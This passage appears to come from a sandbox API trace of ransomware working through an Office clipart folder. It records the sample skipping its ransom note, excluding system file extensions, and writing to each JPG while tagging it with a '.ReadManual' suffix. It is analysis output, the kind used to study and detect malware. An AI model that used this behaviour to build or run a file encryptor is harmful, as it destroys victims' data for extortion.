(hMem=0x76c1a55b) returned 0x76c1a55b [0266.895] CloseHandle (hObject=0x194) returned 1 [0266.895] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f01310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5285, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145361.JPG", cAlternateFileName="")) returned 1 [0266.895] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145361.JPG" | out: lpString1="J0145361.JPG") returned="J0145361.JPG" [0266.895] lstrcmpiW (lpString1="J0145361.JPG", lpString2="RecoveryManual.html") returned -1 [0266.895] StrStrIW (lpFirst="J0145361.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.895] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.895] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.895] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.895] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.895] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.895] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.896] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.896] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.896] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.896] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.896] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.896] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.896] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.896] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.896] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" [0266.896] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.ReadManual.5A595725" [0266.896] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG.ReadManual.5A595725") returned 87 [0266.896] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38756461532) returned 1 [0266.896] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg")) returned 0x20 [0266.896] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145361.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145361.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.896] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21125) returned 1 [0266.896] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5285, lpName=0x0) returned 0x184 [0266.896] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.897] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.897] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.899] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.899] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5285) returned 0x2f0000 [0266.899] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.899] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38756818013) returned 1 [0266.899] CloseHandle (hObject=0x184) returned 1 [0266.900] SetSecurityInfo () returned 0x57 [0266.900] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.900] CloseHandle (hObject=0x194) returned 1 [0266.900] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5c5e300, ftCreationTime.dwHighDateTime=0x1bdbf70, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5c5e300, ftLastWriteTime.dwHighDateTime=0x1bdbf70, nFileSizeHigh=0x0, nFileSizeLow=0x45cb, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145373.JPG", cAlternateFileName="")) returned 1 [0266.900] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145373.JPG" | out: lpString1="J0145373.JPG") returned="J0145373.JPG" [0266.900] lstrcmpiW (lpString1="J0145373.JPG", lpString2="RecoveryManual.html") returned -1 [0266.900] StrStrIW (lpFirst="J0145373.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.900] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.900] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.900] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.900] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.900] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.900] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.900] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.900] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.900] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.900] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.900] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.900] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.900] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.900] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.900] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" [0266.900] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.ReadManual.5A595725" [0266.900] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG.ReadManual.5A595725") returned 87 [0266.900] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38756916460) returned 1 [0266.900] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg")) returned 0x20 [0266.901] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145373.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145373.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.901] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=17867) returned 1 [0266.901] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x45cb, lpName=0x0) returned 0x184 [0266.901] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.902] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.902] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.905] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.905] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x45cb) returned 0x2f0000 [0266.905] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.905] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38757414933) returned 1 [0266.905] CloseHandle (hObject=0x184) returned 1 [0266.905] SetSecurityInfo () returned 0x57 [0266.906] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.906] CloseHandle (hObject=0x194) returned 1 [0266.906] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a35900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a35900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x7c6a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145669.JPG", cAlternateFileName="")) returned 1 [0266.906] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145669.JPG" | out: lpString1="J0145669.JPG") returned="J0145669.JPG" [0266.906] lstrcmpiW (lpString1="J0145669.JPG", lpString2="RecoveryManual.html") returned -1 [0266.906] StrStrIW (lpFirst="J0145669.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.906] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.906] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.906] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.906] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.906] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.907] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.907] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.907] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.907] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.907] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.907] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.907] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.907] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.907] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.907] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" [0266.907] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.ReadManual.5A595725" [0266.907] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.ReadManual.5A595725") returned 87 [0266.907] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38757575153) returned 1 [0266.907] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 0x20 [0266.907] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.907] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=31850) returned 1 [0266.907] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c6a, lpName=0x0) returned 0x184 [0266.908] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.908] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.908] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.910] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.910] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c6a) returned 0x2f0000 [0266.911] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.911] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38757951032) returned 1 [0266.911] CloseHandle (hObject=0x184) returned 1 [0266.911] SetSecurityInfo () returned 0x57 [0266.911] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.911] CloseHandle (hObject=0x194) returned 1 [0266.911] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0266.911] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145707.JPG" | out: lpString1="J0145707.JPG") returned="J0145707.JPG" [0266.911] lstrcmpiW (lpString1="J0145707.JPG", lpString2="RecoveryManual.html") returned -1 [0266.911] StrStrIW (lpFirst="J0145707.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.911] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.911] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.911] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.911] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.911] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.911] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.911] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.911] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.911] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.911] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.911] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.912] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.912] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.912] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.912] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" [0266.912] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.ReadManual.5A595725" [0266.912] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.ReadManual.5A595725") returned 87 [0266.912] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38758047903) returned 1 [0266.912] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg")) returned 0x20 [0266.912] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.912] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=36820) returned 1 [0266.912] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fd4, lpName=0x0) returned 0x184 [0266.912] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.913] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.913] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.915] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.916] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fd4) returned 0x2f0000 [0266.917] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.917] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38758570502) returned 1 [0266.917] CloseHandle (hObject=0x184) returned 1 [0266.917] SetSecurityInfo () returned 0x57 [0266.917] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.917] CloseHandle (hObject=0x194) returned 1 [0266.917] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0266.917] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145810.JPG" | out: lpString1="J0145810.JPG") returned="J0145810.JPG" [0266.917] lstrcmpiW (lpString1="J0145810.JPG", lpString2="RecoveryManual.html") returned -1 [0266.917] StrStrIW (lpFirst="J0145810.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.917] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.917] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.917] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.917] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.918] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.918] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.918] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.918] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.918] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.918] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.918] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.918] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.918] StrCmpIW (psz1="JPG", psz2="fon") returned 1 [0266.918] StrCmpIW (psz1="JPG", psz2="lnk") returned -1 [0266.918] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" [0266.918] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.ReadManual.5A595725" [0266.918] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.ReadManual.5A595725") returned 87 [0266.918] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38758671416) returned 1 [0266.918] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg")) returned 0x20 [0266.919] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.919] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=36792) returned 1 [0266.919] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8fb8, lpName=0x0) returned 0x184 [0266.919] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.920] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.920] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.922] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.922] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8fb8) returned 0x2f0000 [0266.923] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.923] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38759188849) returned 1 [0266.923] CloseHandle (hObject=0x184) returned 1 [0266.923] SetSecurityInfo () returned 0x57 [0266.923] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.923] CloseHandle (hObject=0x194) returned 1 [0266.923] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0266.923] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0145879.JPG" | out: lpString1="J0145879.JPG") returned="J0145879.JPG" [0266.924] lstrcmpiW (lpString1="J0145879.JPG", lpString2="RecoveryManual.html") returned -1 [0266.924] StrStrIW (lpFirst="J0145879.JPG", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.924] StrCmpIW (psz1="JPG", psz2="exe") returned 1 [0266.924] StrCmpIW (psz1="JPG", psz2="dll") returned 1 [0266.924] StrCmpIW (psz1="JPG", psz2="sys") returned -1 [0266.924] StrCmpIW (psz1="JPG", psz2="msi") returned -1 [0266.924] StrCmpIW (psz1="JPG", psz2="mui") returned -1 [0266.924] StrCmpIW (psz1="JPG", psz2="inf") returned 1 [0266.924] StrCmpIW (psz1="JPG", psz2="cat") returned 1 [0266.924] StrCmpIW (psz1="JPG", psz2="bat") returned 1 [0266.924] StrCmpIW (psz1="JPG", psz2="cmd") returned 1 [0266.924] StrCmpIW (psz1="JPG", psz2="ps1") returned -1 [0266.924] StrCmpIW (psz1="JPG", psz2="vbs") returned -1 [0266.924] StrCmpIW (psz1="JPG", psz2="ttf") returned -1 [0266.924] 